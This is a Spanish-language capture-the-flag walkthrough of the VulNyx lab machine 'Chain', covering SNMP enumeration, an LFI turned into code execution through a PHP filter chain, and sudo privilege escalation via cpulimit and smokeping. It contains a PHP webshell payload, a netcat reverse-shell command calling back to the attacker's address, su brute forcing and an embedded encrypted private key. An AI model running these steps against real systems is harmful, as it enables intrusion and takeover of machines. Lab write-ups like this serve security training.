VulNyx - Chain
- SNMP Enumeration Information Leakage
- PHP Filter Chain
- Brute Force su Binary
- Abuse cpulimit Binary
- Abuse smokeping Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.43
PORT STATE SERVICE
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 80 192.168.1.43
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Chain
|_http-server-header: Apache/2.4.56 (Debian)
HTTP - TCP 80
Si me descargo la imagen y le paso la herramienta strings se puede apreciar una llave rsa pero se trata de un rabbit_hole
.
❯ strings -n 6 chain.png
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,92E78A581F3E1F25
pLzUnqFfRfhNyMnFWUQJj0+h6ctKAR0G83+8TCL7X8H571/20pdIDmQtLVut5Che
n3RZu7O1xq8SK5G6ivVj3JtrijV5M541c90dp6I1V1dkg/+iYIOEich7VXj/uZ8n
RgQRpgAompw4EEC/+Q8WhvPadl/6syW1+UvlZlzV0mAlYQxDVF/PiJDoxt7QBXVF
UQ1Oma+4D/E1EL9PxWYfcqmEZRavN3FdCQ8DNiApBXWRwUkina2G+dkZBkZJhroh
t+YnSTOv/ls+//Xb2xoovj8n3fI6jG7VLCeXY3GuxZTqAkT5yG5iC3qvszeb411f
nlGjkcUTHYLjVC/zuyz01zOJTw0gYiss7eMdl3arOvV1Da0qkov2o1ht1R+gEa/c
COhaYjNoBdFKLzGr7Xf8RfqouIgL8IrIe50q3jar+S5Z5M4D1pKdEWlAUjP2ais7
MUk8hk2gq0IuGEbwDG7JRXOSbbMM4FGYU3Ot4g1eFbjTTYUS91/jGrufUpw9Ec+6
l4K5Ee5uZeIio4rMwcdqinA9rvgfYJiHZ5q9Di/MW9T/7HQVYWCEEXngILpDwVlK
sEwUcqAMCObxYBG0FEc2IV4dnMIDTuRFJoNy9sWifKEnNM1TnBhUyYDZFaJNEiRP
JGT9vmDRqlQYQQvqPmf+uoYkH554OFYEbUhjNgULO7k2NLD0+0i5nU4zVMwg1Btc
SjBLIMmyYpj5RT/U8DZiefCWbyYCkz6BwyvGiUBGlGIbWTM5fCajqOhUSsh0616C
xCOuftFjPI4AaRTEb+hSQAvKq6ePvw6ErmrUJK2xOMW6U6CLTbWXhRJ3grR7MXUV
BWZyrPHRntGiLNqX+ZH/M7JRZegvY2uhMPmPeq7hH9x/UqIghvYilKEqruui4j73
EGiJRBD9h7buEispZoLhXZmgw3XmHqOPC+oCK4XCrXqRaOSrN2X/ufyhyLvO+CsK
rMAJnifHZBkUq1HXU1BmEcK4eBPXRq/RZsvKgPiswZjYQOwjx36+rvts6wb5XRyY
l29jefPpaWw7eCZbfA+9Czi2PTpLd2WOKhOl0Lq3kgdZ+NCTkVKCD3Ortbx9UNJZ
aCXj/iaCFBFWcs7JUCW/go1jyucRjAhcPhynD+6QkV7E8i1fgTAEzmhJhybxVlb9
RXiC7qk7LpQM/TMf2VoX7Bt1t/Gx/Afblfz3H6xtCyuMlkCHXdius7z121BzY9D6
PytF26BXw6vM29wOzxkLtX0TT0a+6A2GSiH19qnEcwWqsy6XrYrcIgVtzGyepMPL
ggIxeKc8W32N2wn73zAI7Oa1DyQFlVfF+Ve0ObYKDpIMhwa0q+9q0AwLWDq3SG2m
a1osxjpqh0Puy+XlStMuIN234LupUR6Q/A7UoSbZosIMhBoyLWNH0pYr36kLApcC
YTnAhcvTzAs/jdPSo5Qze6U4G8G0MDRstUEugfvoEoEf+iZkBJEvYlOQc7Sc2vdC
qd+4B2iD0e5kBvUxmiNmTiC+9xP1oi5Z2PR28bcGy7JWj3yQ8ra4YKP1PLbmY1yq
MwqyWhIV0Hv1iSp8iEXWwRX/BuQH5nbHWgkzykGQkEp8c2M2op0CaA==
-----END RSA PRIVATE KEY-----
Después realizar fuerza bruta de directorios y extensiones sin encontrar nada vuelvo a escanear la máquina en búsca de puertos UDP.
❯ nmap -sU --top-ports 100 192.168.1.43
PORT STATE SERVICE
161/udp open snmp
SNMP - UDP 161
Lanzo onesixtyone y encuentro la comunity string security.
❯ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 192.168.1.43
Scanning 1 hosts, 3219 communities
192.168.1.43 [security] Linux chain 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
Con snmpwalk enumero información de la máquina y encuentro el dominio chaincorp.nyx
y el usuario blue.
❯ snmpwalk -v2c -c security 192.168.1.43
iso.3.6.1.2.1.1.1.0 = STRING: "Linux chain 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (108255) 0:18:02.55
iso.3.6.1.2.1.1.4.0 = STRING: "Blue <blue@chaincorp.nyx>"
iso.3.6.1.2.1.1.5.0 = STRING: "Chain"
iso.3.6.1.2.1.1.6.0 = STRING: "VulNyx.com"
iso.3.6.1.2.1.1.8.0 = Timeticks: (9) 0:00:00.09
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
Añado el dominio al archivo hosts y realizo una enumeración de subdominios.
❯ gobuster vhost -u chaincorp.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://chaincorp.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/08/15 19:53:15 Starting gobuster in VHOST enumeration mode
===============================================================
Found: utils.chaincorp.nyx Status: 200 [Size: 628]
Añado el nuevo subdominio al archivo hosts y al visitar el subdominio veo lo siguiente.
Archivo id.php
.
Archivo ip.php
.
Con metodología básica encuentro un LFI.
Mediante wrappers puedo leer el contenido del archivo include.php
y resto de archivos.
❯ curl 'http://utils.chaincorp.nyx/include.php?in=php://filter/convert.base64-encode/resource=include.php'
<pre>
PHByZT4KPD9waHAKICAkZmlsZSA9ICRfR0VUWyJpbiJdOwogIGlmKGlzc2V0KCRmaWxlKSkKICB7CiAgICBpbmNsdWRlKCIkZmlsZSIpOwogIH0KPz4KPC9wcmU+Cg==</pre>
Una vez obtengo la cadena en base64 la decodifico y puedo leer el contenido de include.php
.
❯ echo "PHByZT4KPD9waHAKICAkZmlsZSA9ICRfR0VUWyJpbiJdOwogIGlmKGlzc2V0KCRmaWxlKSkKICB7CiAgICBpbmNsdWRlKCIkZmlsZSIpOwogIH0KPz4KPC9wcmU+Cg==" | base64 -d
<pre>
<?php
$file = $_GET["in"];
if(isset($file))
{
include("$file");
}
?>
</pre>
Sabiendo esto, existe un método para obtener RCE a partir de un LFI conocida como Filter Chain. Me descargo la herramienta y genero una cadena con el comando ls -la
.
Copio el churraco, lo pego en el navegador y puedo comprobar que funciona correctamente.
Al tener ejecución de comandos genero una cadena con los siguientes parámetros.
❯ ./php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
Al final de la cadena generada, después de php://temp
añado el parámetro cmd para que me lanze un netcat a mi equipo.
&cmd=nc%20-c%20/bin/bash%20192.168.1.18%204444
Obtengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.43] 57124
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@chain:/var/www/vhost$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Para pivotar de www-data a blue me descargo la herramienta suForce en la máquia víctima.
Me conecto como usuario blue y enumero permisos de sudo.
blue@chain:~$ sudo -l
Matching Defaults entries for blue on chain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User blue may run the following commands on chain:
(red) NOPASSWD: /usr/bin/cpulimit
Para pivotar de blue a red he usado este recurso gtfobins.
blue@chain:~$ sudo -u red cpulimit -l 100 -f /bin/bash
red@chain:/home/blue$ id
uid=1001(red) gid=1001(red) grupos=1001(red)
Enumero de nuevo permisos de sudo.
red@chain:~$ sudo -l
Matching Defaults entries for red on chain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User red may run the following commands on chain:
(root) NOPASSWD: /usr/sbin/smokeping
Para obtener el root uso la flag –man de la herramienta.
red@chain:~$ sudo /usr/sbin/smokeping --man
Escribo !/bin/bash
y obtengo el root.
red@chain:~$ sudo /usr/sbin/smokeping --man
You need to install the perl-doc package to use this program.
root@chain:/home/red# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Chain.
Saludos!